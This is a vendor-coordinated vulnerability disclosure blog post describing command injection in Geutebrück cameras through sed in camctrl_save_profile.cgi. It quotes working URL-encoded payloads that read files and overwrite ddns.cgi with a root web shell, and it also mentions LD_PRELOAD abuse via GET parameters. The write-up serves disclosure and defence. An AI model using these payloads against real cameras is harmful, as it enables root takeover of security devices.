Breaking

Disclosure: Command Injection in Geutebrück Cameras

During a penetration test for a customer, we identified a command injection vulnerability in Geutebrück security cameras that allows authenticated attackers to execute arbitrary commands as root through the web interface. The root cause is unsanitized user input being passed into a sed script (and at least 12 other CGI endpoints). In addition to the injection, we identified an XSS vulnerability, an exposed system menu leaking configuration and log data, and an insecure GET-parameter-to-environment-variable mapping that enables abuse of variables like LD_PRELOAD and LD_DEBUG. We reported the findings to Geutebrück and a patched firmware was provided. This post walks through how we got from a  sed error message to a root shell.

Geutebrück cameras are used as security cameras for enterprises, industry, and critical infrastructure, and support video streaming and configuration via a web interface. If the web interface is compromised, attackers can manipulate the video stream, potentially having a high impact on physical security, as they could use it to display fake images and videos to hide the camera’s real feed.

As usual, we started looking into endpoints and parameters and quickly found one that looked promising. After testing several payloads, we received an error message generated by sed. This started our quest to exploit the injection into sed.

Analysis

The endpoint we identified is /cgi-bin/camctrl_save_profile.cgi. It is used to save the camera control profile and has a string input field named name for the profile name to save. With the payload Ernw-'%0A, we got sed: unmatched '/' in the response, which made us assume that the name parameter is included in a sed script like the following:

sed "s/name=.*/name=$name/" -i config

This script replaces the old profile name with the new one in the config file.

Since newlines start new commands, an inserted newline would result in the following sed script, which is ill-formed and causes the observed error.
s/name=.*/name=
/

With this in mind, the first idea was to use the e1 command, a GNU extension to sed, which allows executing a program to replace the pattern space.

However, we relatively quickly found that using Ernw-/e%0A, with the special GNU e option, which would result in a sed script like s/name=.*/name=Ernw-/e\n/ returns sed: bad option in substitution expression. This shows that the e option is unavailable, and the used sed is not GNU sed. This is not unexpected since IoT devices often use BusyBox2, which provides these commands but in their most basic version.

Reading Files

Since e does not work, what else can sed give us? There are two more interesting commands. r, which reads a file and appends it to the output, and w, which writes the current pattern space into a file.3 To quickly verify that these commands are indeed available, we used the payload ernw-/w+/proc/self/fd/%0A, which resulted in sed: can't open '/proc/self/fd/': Is a directory. This shows that these commands are implemented.

In the next step, we tried to write into files with the w command. But small changes in the parameter resulted in no output. For example, by removing %0A from the request ernw-/w+/proc/self/fd/%0A, no output was returned, although we expected it to result in a sed error. After some time, we figured this had to do with a check of the value, which also validates its length. Therefore, we stuck to using the r option. Arguably, something we should have done much earlier.

Finally, by specifying /%0Arcamctrl_save_profile.cgi%0Aq%0A%23, we were able to get the first result by dumping the script and found that the sed command is built like the following:

sed -i '/Profile.'"$targetp"'.Name=/s/Profile.'"$targetp"'.Name=.*/Profile.'"$targetp"'.Name='"$name"'/' /etc/sysconfig/"$targetconf"

We also found the parameter ProfileSchdule in the same CGI script, which was unknown to us before and is used in a different sed command:

sed -i '/Profile.'"$targetp"'.Schedule=/s/Profile.'"$targetp"'.Schedule=.*/Profile.'"$targetp"'.Schedule='"$ProfileSchdule"'/' /etc/sysconfig/"$targetconf"
This parameter has the advantage that it is not checked, and therefore, has no maximum length.

Writing Files

With the knowledge of the sed command usage, we started writing to files by switching over to the ProfileSchdule parameter.

First, we wrote to a normal file in the web-root with the payload /%0Ah%0A1s~.*~%23!/bin/sh\necho\necho+Hi\n~w../o%0Ag%0Aq%0A%23. This payload  results in the following sed script, which writes something into the o file.

h
1s~.*~#!/bin/sh\necho\necho Hi\n~w../o
g
q
#

This script first copies the pattern space into the hold space with the h command. Then, if the first line is processed, the pattern space is replaced with #!/bin/sh\necho\necho Hi\n and written to the ../o file. The following g command then restores the pattern space to its original value by copying its contents from the hold space, and sed is stopped with the q command.

Afterward, we could verify the existence of the file by accessing it through the web server and we could use it to debug the errors occurring while writing to a file. We quickly were able to find the following payload: /%0Ah%0A1s~.*~%23!/bin/sh\necho+Content-type:+text/plain\necho\n/bin/sh+-c+"$cmd"\n~wddns.cgi%0Ag%0Aq%0A%23.

This results in the following sed script

h
1s~.*~#!/bin/sh\necho Content-type: text/plain\necho\n/bin/sh -c "$cmd"\n~wddns.cgi
g
q
#

which writes the following script to ddns.cgi:

#!/bin/sh
echo Content-type: text/plain
echo
/bin/sh -c "$cmd"

We used the file ddns.cgi and overwrote it, since new files are not executable and ddns.cgi already exists on the system as an executable file. This file was chosen since a similar exploit4 we found used it too.

With that, we could now execute arbitrary commands on the camera. The first one obviously was id with the output:

uid=0(root) gid=0(root)
By exploiting this vulnerability, we can run arbitrary system commands as the root user on the camera. During the test, we extracted other CGI scripts and looked for similar problems. We found 12 other CGI files, which also allow injection into the sed command.

Other Issues

We identified further issues during the test, including an XSS vulnerability and the ability to open the system menu via the web console, allowing users to read system settings and log files. Another problem we identified was the way the server passed the GET parameters to the CGI scripts. The GET parameters were passed via environment variables, with the parameter name used as the environment variable name. This allowed us to specify special environment variables, such as LD_DEBUG to get information about which libraries are loaded, and LD_PRELOAD to potentially execute code, if a library can be uploaded to the camera.

Conclusion

The described vulnerability shows the danger of failing to implement input validation and sanitization for console commands, including sed. It is often used to change configuration values in files by including user input. Even when passing the user input correctly in quotes through bash, it is still included in the sed script, and without proper care, this can have severe impacts, as shown here, and require proper sanitization of the user input before use.

Disclosure Timeline

  • April 08, 2025: Meeting with ERNW, Geutebrück, and the customer; ERNW provides report to Geutebrück; start of the 90-day disclosure timeframe
  • August 22, 2025: Update from Geutebrück with patched firmware; however, due to missing hardware, the patches could not be verified.
  • April 16, 2026: Publication of this Blogpost

 

Cheers!
Nils

If you’re interested in work like this, we share research of this kind regularly at TROOPERS, our annual security conference in Heidelberg. The event brings together researchers, practitioners, and defenders for a week of talks and trainings on offensive and defensive security.

Leave a Reply

Your email address will not be published. Required fields are marked *